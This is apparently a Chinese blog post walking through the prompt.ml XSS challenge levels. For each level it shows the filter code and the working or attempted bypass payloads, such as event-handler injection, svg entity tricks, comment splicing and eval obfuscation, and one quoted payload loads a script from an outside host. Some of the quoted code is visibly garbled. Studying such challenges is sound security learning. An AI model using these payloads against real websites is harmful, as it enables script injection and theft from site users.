xss挑战赛小记 0x02(prompt(1))
0x0O
上次搜xss挑战赛的时候
还找到了一个看上去难度更高的挑战赛
今天做了一下
学到了很多新东西
这个挑战赛能够在页面成功prompt(1)就算过关了
挑战地址 http://prompt.ml/0
0x00
为了排版把第一个改成0x0O了hhh
一开始我是想" onmouseover="prompt(1)这样的
但是这个比赛要在没有用户交互的情况下运行
后来改成onload还是不行
百度了一下发现onload要在input里触发必须type=image..

老老实实 "> <script>prompt(1)</script>过了
0x01
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
重点就是这个正则
/<\/?[^>]+>/gi;
g代表全局 i代表不区分大小写
/?则是最多一个/
+表示1-无穷
^本来代表起始但是在[^] 中代表非 意为出了>以外的字符
综上所述这个正则的匹配为前后都有尖括号闭合的所有东西 '<xxx>'这一段
那么不闭合就好了啊
<img src=x onerror="prompt(1)" 这就过了
0x02
第二关也是通过一个正则过滤
Text Viewer
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis
return input;
}
这个正则就是= 和 (的过滤
正好之前看一篇文章的时候对其中的svg这个东西不太了解
百度了一下 学习了一个姿势
<svg><script>alert(1)</script>
svg向量里面的script将其作为xml解析
(即被解析为(
ps:[ ( (同样会被解析为( ]
<svg><script>prompt(1)</script>
0x03
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
这道题很纠结
去看了wp才知道h5的注释可以用-->
--!>也行
前面把注释闭合就行了
0x04
Text Viewer
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
这个首先是一个正则
控制了输入的必须是https的网址 需要含有prompt m1 还要进行一个url解码
然后创建一个script节点 再把输入当做一个外部链接 然后输出
想到在https://prompt/m1后面跟一个链接
但是没有成功
0x05
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
正则匹配>或者on 到 =或者focus 替换成_ 全局不区分大小写
并且输出在input里面
这样就过滤了> 无法闭合 onxx=和focus
只过滤了onxxx= 而不是单独的on是比较幸运的事情
想到了换行
想用onload的 在input中需要type=image才行
就在前面加一下
但是这样导致报错。。就换成onerror了
onerror要在加载外部文件(文档或图片)错误时触发
" src=x onerror
="prompt(1)" type="image 这样就过了
0x06
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[];
var formData = JSON.parse(segments[]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[].action)) \n\
document.forms[].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
很大一段...给了一个例子// e.g. http://httpbin.org/post#{"name":"Matt"}
函数主要就是创建一个表单 把参数以#分割.前面的给action的url
后面的内容经由JSON.parse处理之后循环生成input..好像也就生成一个..
script里面的内容大概是匹配没有script:和data:就提交表单吧
测试发现前面的action参数中双引号会被转化为实体字符,想到用伪协议 javascript:prompt(1)#{"name":"Matt"}
但是后面就做不下去了..看了一下wp http://pwdme.cc/2016/12/06/prompt-ml-xss/
说是action的变量覆盖 把#后面的name改成action 这样就会覆盖前一个action,让if的条件为真 提交表单
javascript:prompt(1)#{"action":"Matt"}
0x07
Text Viewer
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(, ) + '"></p>';
}).join('\n');
}
这个就感觉比上一个代码简单一些
以#分割几个参数 然后每个都写到一个p标签里
每一个参数只取钱12位
想到用<!---->注释注释掉两端的拼凑起来构成一个payload
"><svg/onload='prompt(1)'
"><svg/o<!--#-->nload<!--#-->='pro<!--#-->mpt(1)'
但是不行....想到换成/**/
"><svg//*#*/onload='/*#*/prompt(1)'
去看了wp给的payload是
"><svg/a=#"onload='/*#*/prompt(1)'
f12看了下才知道思路错了
要把后面整个都放进svg标签里头 所以第一个其实不用注释
0x08
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
代码过滤了换行回车"/<
下面的console.log可以直接运行命令但是被注释了
//代表的是单行注释 但是回车和换行都被过滤了
wp说是利用行分隔符[U+2028]prompt(1)[U+2028]这样的payload
但是几个wp里都是写的没有试成功
关于[U+2028]这个是什么可以看这篇文章
http://www.hack80.com/forum.php?mod=viewthread&tid=21505
0x09
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
代码就是把<x 变成<_x
然后大小写全部换成大写
同样毫无思路 看下wp.....
字符ſ在经过toUpperCase的处理之后会变成S...
直接上<ſcript>prompt(1)</ſcript>发现不行 查了一下发现js是对大小写敏感的
那直接的prompt(1)是不行的了
但是可以用src加载一个js进去
<ſcript src="xss.js">prompt(1)</ſcript>这样
0x10
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
这道感觉比之前的简单...
首先就是把prompt替换成alert 然后经过encodeURIComponent函数处理
这个函数会把字符串作为 URI 组件进行编码
然后再把'给去除...防止了加一个外部的js
查了一下encodeURIComponent函数 发现一个很有意思的地方
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的
那就很简单了 先用'绕过第一个替换 然后第二个替换自动把'消除了
pro'mpt(1)
0x11
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
首先是一个正则过滤了一些字符
然后将写入的参数输出在script中
可以发现双引号没被过滤,就可以闭合前面的双引做事情
有个黑科技就是"xxx"alert(1) alert(1)in"xxx" (alert(1))"xxx"虽然会报错 但是是可以执行的
alert(1)in"xxx" (alert(1))in"xxx" 在控制台下都可以允许 但是这道题不加括号就弹不了
"(prompt(1))in" 这样就好了
ps:不仅是in , instanceof也有同样的功能
0x12
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
是0x10的加强版
把过滤的顺序换个一下 就没那么容易绕过了
老规矩。。看wp吧
用到了eval的一个黑科技 搭配parseInt这个函数使用
我在控制台试了下

再把各个位置用concat这个连接函数连起来,payload就很容易出来了 因为有单引号的过滤和urlencode 所以不能直接连接()
eval((1354620604).toString(35).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
wp还给了其他payload
eval((1558153217).toString(36))(1)
eval(630038579..toString(30))(1)
for((i)in(self))eval(i)(1) 循环self里的函数 暴力破解版..
0x13
不会js 之前第六题的代码还算能读一下
看到这道题的代码实在是头疼
0x14
这道题首先进行了一个大写转化
然后把xxx: // 都替换成data:
然后 \\ + & vbs都变成_...
wp的姿势是<IFRAME/SRC="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9wd2RtZS5jYy8xLkpTIj48L3NjcmlwdD4=">
但是有大写转换的话 必须得脚本base64加密之后正好都为大写.....
照着wp给的payload也没成功..
0x15
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
这道题跟之前的第七题有些相似
只是把/**/这个姿势禁止了 但是还有<!---->这种注释
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 这样就好了
wp中给出了另一种payload <script>`#${prompt(1)}#`<script>
`xxx` 是模板字符串
`xxx
xxx` 可以这样使用
${}就是一个占位符了
0x0X
个人还是非常菜的
这个挑战里头一大半的题目都参考了下wp...
参考的wp
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml
http://pwdme.cc/2016/12/06/prompt-ml-xss/
https://lorexxar.cn/2015/07/02/xss-p/
xss挑战赛小记 0x02(prompt(1))的更多相关文章
- xss挑战赛小记 0x01(xsstest)
0x00 今天在先知社区看到了一个xss挑战赛 结果发现比赛已经结束 服务器也关了 百度找了个xss挑战赛来玩一下 正好印证下xss的学习--- 地址 http://test.xss.tv/ ...
- xss挑战赛小记 0x03(xssgame)
0x00 继续做xss吧 这次是xssgame 地址 http://www.xssgame.com/ 一共八关 学到了很多东西 0x01 啥也没有 <svg/onload="alert ...
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- XSS挑战赛(1)
以前囫囵吞枣做过一遍,现在从头再来 第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test 而页面上显示了用户test,name可控, ...
- XSS挑战赛(4)
16-20关 第十六关 关键代码为: <?php ini_set("display_errors", 0); $str = strtolower($_GET["ke ...
- XSS挑战赛(3)
查看关键代码: <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = ...
- XSS挑战赛(2)
进入第六关 简单判断过滤情况 <>script"'/ 查看源代码 可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗 "><script>ale ...
- 先知xss挑战赛学习笔记
xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...
- XSS绕过与防御总结
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插 ...
随机推荐
- 收放卷及张力控制 PID调试技巧
1) 小 Kp( 0.01) , 大 Ti ( 20000ms) 2)逐渐增大Kp, 减小Ti ( 20000ms – 3000ms),避免发生震荡 3)观察I-out 是否在0附近 可能原因:卷径不 ...
- html5 5个重要特性
HTML5已经火了一段时间了,相信作为web相关开发project师,肯定或多或少的了解和尝试过一些HTML5的特性和编程.还记得曾经我们介绍过的HTML5新标签. 作为未来前端开发技术的潮流和风向标 ...
- 20165322 实验一 Java开发环境的熟悉
实验一 Java开发环境的熟悉 一.实验内容及步骤 (一)命令行下Java程序开发 按照步骤新建目录.键入代码,再编译运行输出.运行结果和TREE结构图如下: (二) IDEA下Java程序开发.调试 ...
- MySQL:数据库入门篇1
1,什么是数据库?——存储数据的仓库 数据库技术是计算机应用领域中非常重要的技术,它产生于20世纪60年代末,是数据管理的最新技术,也是软件技术的一个重要分支. 简单的说,数据库就是一个存放数据的仓库 ...
- JAVA程序员常用软件类库下载地址整理
IT行业是个发展更新特别快的领域,每个程序员在职业生涯中都会经历各类技术和工具的更新迭代. 俗话说:工欲善其事,必先利其器.本着独乐乐不如众乐乐的精神(其实是自己健忘)本人把经常要用到的软件工具官方下 ...
- 八、IntelliJ IDEA 缓存和索引的介绍及清理方法
这样一句话“ 对于首次创建或打开的新项目,IntelliJ IDEA 都会创建项目索引,大型项目在创建索引的过程中可能会出现卡顿的现象,因此强烈建议在 IntelliJ IDEA 创建索引的过程中不要 ...
- Android学习笔记_48_若水新闻客户端源码剖析
一.新闻客户端布局代码 1.1 主界面布局 使用GridView实现左右可滑动菜单项,使用标签HorizontalScrollView实现水平滚动条,将创建的GridView添加到布局文件中. < ...
- C# 通过socket实现UDP 通信
UDP不属于面向连接的通信,在选择使用协议的时候,选择UDP必须要谨慎.在网络质量令人十分不满意的环境下,UDP协议数据包丢失会比较严重.但是由于UDP的特性:它不属于连接型协议,因而具有资源消耗小, ...
- AngularJS 控制器属性
<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content=&q ...
- vue进阶语法及生命周期函数
1.calss和style绑定 操作元素的 class 列表和内联样式style是数据绑定的一个常见需求,它两都是属性,所以可以通过v-bind来绑定 1.1绑定HTML class 可以给v-bin ...